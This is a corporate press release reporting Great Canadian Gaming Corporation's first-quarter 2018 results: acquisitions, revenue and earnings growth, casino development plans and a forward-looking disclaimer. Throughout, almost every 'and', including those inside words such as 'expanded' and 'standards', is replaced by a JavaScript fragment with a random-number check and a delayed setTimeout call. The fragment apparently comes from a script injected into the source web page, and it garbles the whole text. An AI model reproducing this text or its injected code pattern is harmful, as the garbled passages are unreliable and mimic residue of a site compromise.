Great Canadian Gaming Corporation [TSX: GC] (“Great Canadian,” or “the Company”) today announced its financial results for the three month period ended March 31, 2018 (the “first quarter”).

62% INCREASE IN REVENUE. 64% INCREASE IN SHAREHOLDERS’ NET EARNINGS.

FIRST QUARTER 2018 HIGHLIGHTS

• On January 23, 2018, One Toronto Gaming, formerly known as the Ontario Gaming GTA Limited Partnership (“OGGTA”), a partnership managed andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and operated by the Company, successfully completed the acquisition of certain gaming assets in the Greater Toronto Area (the “GTA Gaming Bundle”) for a purchase price of $158.0 million. OGGTA, which the Company holds a 49% interest, entered into a 5-year credit agreement providing the partnership with credit facilities in the aggregate capacity of up to $1.05 billion, which comprise a $200 million revolving facility andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and an $850 million capital expenditure facility.
• On May 1, 2018, the Ontario Gaming West GTA Limited Partnership (“OGWGLP”), a partnership in which the Company holds a 55% interest, successfully completed the acquisition of certain gaming assets in the West Greater Toronto Area (the “West GTA Gaming Bundle”) for a purchase price at close of $134.8 million, including working capital andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and applicable sales taxes arising from the transaction. OGWGLP arranged a 5-year $285.0 million revolving credit facility for the acquisition of the assets, operations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and development of the gaming facilities in the West GTA Gaming Bundle.
• Revenues of $230.5 million in the first quarter, an increase of 62%, when compared to the same period in the prior year.
• Adjusted EBITDA⁽¹⁾ was $88.9 million for the first quarter, an increase of 84%, when compared to the same period in the prior year.
• Shareholders’ net earnings of $29.2 million or $0.48 per common share in the first quarter, an increase of 64% andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 66%, respectively, when compared to the same period in the prior year.

“I am pleased with our first quarter’s performance, which reflects the full results of the GTA Gaming Bundle’s first 68 days of operations under the management of Great Canadian,” stated Rod Baker, the Company’s President andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Chief Executive Officer. “Also, with the recent acquisition of the West GTA Gaming Bundle, the Company now operates 10 casinos andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and two racetracks in Ontario. These acquisitions mark a significant milestone for the Company. After many years of hard work, we have completed our pursuit in Ontario’s gaming modernization plan which represents a significant opportunity, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can now focus on the growth of these gaming bundles.”

Revenues andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Adjusted EBITDA increased in the first quarter, when compared to the same period in the prior year, due to the contributions from the GTA Gaming Bundle since the acquisition on January 23, 2018, as well as increased revenues in the BC andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Atlantic regions, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and improved Adjusted EBITDA in the Atlantic region.

Shareholders’ net earnings for the first quarter increased, when compared to the same period in the prior year, as a result of increased Adjusted EBITDA, partially offset by increases in amortization, business acquisition, restructuring andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and income taxes primarily from the acquisition of the GTA Gaming Bundle.

“We are excited to bring transformational developments to the gaming facilities in the GTA Gaming Bundle,” continued Mr. Baker. “Our plans for Casino Woodbine will redevelop the site into an international destination casino resort, fully integrated with the existing racing operations, offering hotels, state-of-the-art theatre, a performance venue for live entertainment, extensive dining andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and retail options, as well as expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded gaming. Equally as ambitious, we intend to develop a world-class casino resort in Pickering, Ontario, located at the Durham Live entertainment district. The property will feature expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded gaming, hotel, retail, restaurants, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a multi-purpose entertainment venue. At Great Blue Heron Casino, plans are underway to expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the gaming floor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and add premier non-gaming amenities including hotel, dining, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and multi-purpose entertainment venue. Our investments in these gaming facilities will create vibrant tourist destinations in the GTA for both local andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and international guests, bringing new jobs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and opportunities for economic growth in these communities.”

“The acquisition of the West GTA Gaming Bundle, which included OLG Casino Brantford, OLG Slots at Mohawk Racetrack, OLG Slots at Flamboro Downs, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and OLG Slots at Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and River Raceway, also represents a significant opportunity to grow our business. Effective May 1, 2018, OGWGLP repositioned the gaming facilities to the Company’s Elements Casino brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has commenced plans to renovate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and gaming andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and non-gaming amenities, modernizing each of the properties to broaden guest experiences. In other Ontario developments, construction of the new Shorelines Casino Peterborough is progressing well andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is expected to be completed in the second half of 2018. The new casino will include 500 slot machines, 22 table games, a buffet restaurant andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and an a-la-carte menu restaurant, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and will replace Shorelines Slots at Kawartha Downs.”

“In addition to developing our Ontario properties, Great Canadian is committed to improving the gaming andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and non-gaming amenities at its other properties. On February 1, 2018, River Rock unveiled a refreshed casino floor; our guests can now enjoy more gaming options andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and new food andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and beverage offerings.  The former View Royal Casino, now rebrandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded as Elements Casino Victoria, hosted a Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Opening Celebration to reveal its expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded gaming andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and non-gaming amenities on May 5, 2018.  We are excited about the completed renovations at River Rock andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Elements Casino Victoria, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and will look toward other developments at our properties to enhance guest experiences andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pursue revenue growth opportunities.”

“Great Canadian remains in a strong financial position. As at March 31, 2018, the Company had a strong financial position with a cash balance of $391.7 million, available capacity of $306.8 million on its undrawn senior secured revolving credit facility, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and available capacity of $858.3 million on the revolving andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and capital expenditures credit facilities of OGGTA, both net of outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding letters of credit. Subsequent to the first quarter of 2018, OGWGLP entered into a credit agreement for a revolving credit facility of up to $285.0 million, of which approximately 65% of the acquisition costs were drawn against the facility. The comprehensive development plans for the GTA andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and West GTA Gaming Bundles will be supported by their respective credit agreements entered into by OGGTA andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and OGWGLP, allowing the Company to maintain its financial strength andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and retain its flexibility to reinvest in our existing properties andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and also to explore other options to grow our business,” concluded Mr. Baker.

Great Canadian will host a conference call for investors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and analysts tomorrow, May 10, 2018, at 8:00 AM Pacific Time in order to review the financial results for the quarter ended March 31, 2018. To participate in the conference call, please dial 416-764-8609, 778-383-7417, or toll free at 1-888-390-0605.  Questions will be reserved for institutional investors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and analysts.  Interested parties may also access the call via the Investor Relations section of the Company’s website, www.gcgaming.com/financials.  Investors using the website should allow 15 minutes for the registration andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and installation of any necessary software.  A replay of the call will also be available at www.gcgaming.com/financials.

ABOUT GREAT CANADIAN GAMING CORPORATION
Founded in 1982, Great Canadian Gaming Corporation is a BC based company that operates 28 gaming, entertainment andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hospitality facilities in British Columbia, Ontario, New Brunswick, Nova Scotia, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Washington State. Fundamental to the company’s culture is its commitment to social responsibility. “PROUD of our people, our business, our community” is Great Canadian’s brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that unifies the company’s community, volunteering andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and social responsibility efforts. Under the PROUD program, Great Canadian annually invests over $2.5 million in our communities, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in 2017, over 1,900 charitable organizations were supported by Great Canadian. In each Canadian gaming jurisdiction, a significant portion of gross gaming revenue from gaming facilities is retained by our crown partners on behalf of their provincial government for the purpose of supporting programs like healthcare, education andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and social services.

Please refer to the Condensed Interim Consolidated Financial Statements andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Management’s Discussion andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Analysis (“MD&A”) at www.gcgaming.com (available on May 9, 2018) or www.sedar.com (available on May 10, 2018) for detailed financial information andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and analysis.

The financial results on the following page are unaudited andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prepared by management.  Expressed in millions of Canadian dollars, except for per share information.

 

DISCLAIMER

This press release contains certain “forward-looking information” or statements within the meaning of applicable securities legislation.  Forward-looking information is based on the Company’s current expectations, estimates, projections andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and assumptions that were made by the Company in light of historical trends andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other factors.  Forward-looking statements are frequently but not always identified by words such as “expects”, “anticipates”, “believes”, “intends”, “estimates”, “potential”, “targeted”, “planned”, “possible” or similar expressions or statements that events, conditions or results “will”, “may”, “could” or “should” occur or be achieved.  All information or statements, other than statements of historical fact, are forward-looking information, including statements that address expectations, estimates or projections about the future, the Company’s strategy for growth andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and objectives, expected future expenditures, costs, operating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and financial results, expected impact of future commitments, the future ability of the Company to operate the Georgian Downs facility beyond the terms of the signed Ontario Lease Agreement andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Ontario Racing Agreements, the impact of conditions imposed on certain VIP players in British Columbia, the impact of unionization activities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and labour organization, the Company’s position on its claim against the British Columbia Lottery Corporation (“BCLC”) with respect to the collection of marketing contributions, the Company’s beliefs about the outcome of its notices of objection andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and subsequent appeals challenging the Canada Revenue Agency’s reassessments andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its tax position on its facility development commission prevailing, the terms andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and expected benefits of the normal course issuer bid, the Company’s expected share of BC horse racing industry revenue in future years, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and expectations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and implications of changes in legislation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and government policies, volatile gaming holds, the effects of competition in the market andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and potential difficulties in employee retention andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recruitment.  Such forward-looking information is not a guarantee of future performance andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and may involve a number of risks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and uncertainties.

Although forward-looking information is based on information andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and assumptions that the Company believes are current, reasonable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and complete, they are subject to unknown risks, uncertainties, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a number of factors that could cause actual results to vary materially from those expressed or implied by such forward-looking information.  Such factors may include, but are not limited to: terms of existing operational services agreements with lottery corporations; terms of new operational services agreements with lottery corporations; changes to gaming laws that may impact the operational services agreements; pending, proposed or unanticipated regulatory or policy changes (including those related to anti-money laundering legislation or policy that may impact VIP play), volatile gaming holds, the effects of competition in the market; the development of properties in Ontario andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and transitioning of operations to the Company andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and affiliates; the Company’s ability to obtain andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and renew required business licenses, leases, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and operational services agreements; unanticipated fines, sanctions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and suspensions imposed on the Company by its regulators; impact of global liquidity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and credit availability; actual andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and possible reassessments of the Company’s prior tax filings by tax authorities; the results of the Company’s notices of objection andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and subsequent appeals challenging reassessments received by the Canada Revenue Agency; the Company’s tax position on its facility development commission prevailing; the results of the Company’s litigation with BCLC; adverse tourism trends andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and further decreases in levels of travel, leisure andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and consumer spending; competition from established competitors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and new entrants in the gaming business; dependence on key personnel; the timing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and results of collective bargaining negotiations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and potential labour disruption; adverse changes in the Company’s labour relations; the Company’s ability to manage its capital projects andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding operations in jurisdictions where it operates; the risk that systems, procedures andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and controls may not be adequate to meet regulatory requirements or to support current andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and expandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding operations; potential undisclosed liabilities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and capital expenditures associated with acquisitions; negative connotations linked to the gaming industry; the risk associated with partnership relationship; First Nations rights with respect to some landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and on which the Company conducts operations; future or current legal proceedings; construction disruptions; financial covenants associated with credit facilities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and long-term debt; credit, liquidity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and market risks associated with our financial instruments; interest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and exchange rate fluctuations; demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for new products andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and services; fluctuations in operating results; economic uncertainty andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and financial market volatility; technology dependence; andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and privacy breaches or data theft.  The Company cautions that this list of factors is not exhaustive.  Although the Company has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking information, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended.  These factors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other risks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and uncertainties are discussed in the Company’s continuous disclosure documents filed with the Canadian securities regulatory authorities from time to time, including in the “Risk Factors” section of the Company’s Annual Information Form for fiscal 2017, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and as identified in the Company’s disclosure record on SEDAR at www.sedar.com.

The forward-looking information in documents incorporated by reference speaks only as of the date of those documents.  The Company believes that the expectations reflected in forward-looking statements are reasonable but no assurance can be given that these expectations will prove to be correct.  Readers are cautioned not to place undue reliance on the forward-looking information.  The Company undertakes no obligation to revise forward-looking information to reflect subsequent events or circumstances except as required by law.  The forward-looking information contained herein is made as of the date hereof, is subject to change after such date, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is expressly qualified in its entirety by cautionary statements in this press release.

The Company has included non-International Financial Reporting Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards (“non-IFRS”) measures in this press release.  Adjusted EBITDA, as defined by the Company, means earnings before interest andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and financing costs (net of interest income), income taxes, depreciation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and amortization, share-based compensation, impairment reversal of long-lived assets, business acquisition, restructuring andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and foreign exchange (gain) loss andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other.  Adjusted EBITDA is derived from the consolidated statements of earnings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other comprehensive income, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can be computed as revenues plus share of profit of operating equity investees less human resources expenses, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and property, marketing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and administration expenses.  The Company believes Adjusted EBITDA is a useful measure because it provides information to management about the operating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and financial performance of the Company andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its ability to generate operating cash flow to fund future working capital needs, service outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding debt, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fund future capital expenditures.  Adjusted EBITDA is also used by investors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and analysts for the purpose of valuing the Company.  Items of note may vary from time to time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in this press release include pre-opening costs, restructuring severance costs, impairment reversal of long-lived assets, facility development commission revenues previously deferred at Casino Nanaimo, other andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the related income taxes thereon.

Readers are cautioned that these non-IFRS definitions are not recognized measures under International Financial Reporting Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards (“IFRS”), do not have standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andardized meanings prescribed by IFRS, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and should not be construed to be alternatives to net earnings determined in accordance with IFRS or as indicators of performance or liquidity or cash flows.  The Company’s method of calculating these measures may differ from methods used by other entities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and accordingly our measures may not be comparable to similarly titled measures used by other entities or in other jurisdictions.  The Company uses these measures because it believes they provide useful information to both management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and investors with respect to the operating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and financial performance of the Company.

ON BEHALF OF

GREAT CANADIAN GAMING CORPORATION

“Original Signed By Rod N. Baker”

_____________________
Rod N. Baker
President andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Chief Executive Officer

GREAT CANADIAN GAMING CORPORATION [TSX: GC]

95 Schooner Street
Coquitlam, BC
V3K 7A8
(604) 303-1000
Website: www.gcgaming.com

SOURCE: Great Canadian Gaming Corporation

For further information: For enquiries: ir@gcgaming.com or Ms. Tanya Ruskowski, Executive Assistant to the President andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Chief Executive Officer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Chief Operating Officer, (604) 303-1000; For media enquiries: Mr. Chuck Keeling, Vice-President, Stakeholder Relations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Responsible Gaming,(604) 247-4197